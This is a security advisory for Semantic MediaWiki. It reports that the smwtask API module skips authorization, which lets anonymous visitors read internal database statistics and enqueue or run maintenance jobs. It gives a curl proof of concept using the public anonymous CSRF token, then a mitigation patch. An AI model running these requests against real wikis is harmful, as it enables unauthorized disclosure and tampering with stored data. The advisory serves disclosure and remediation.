GHSA-JR78-W6W5-M8F8

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check, no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ), this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode(), do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup, return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job, enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist, run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics, HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};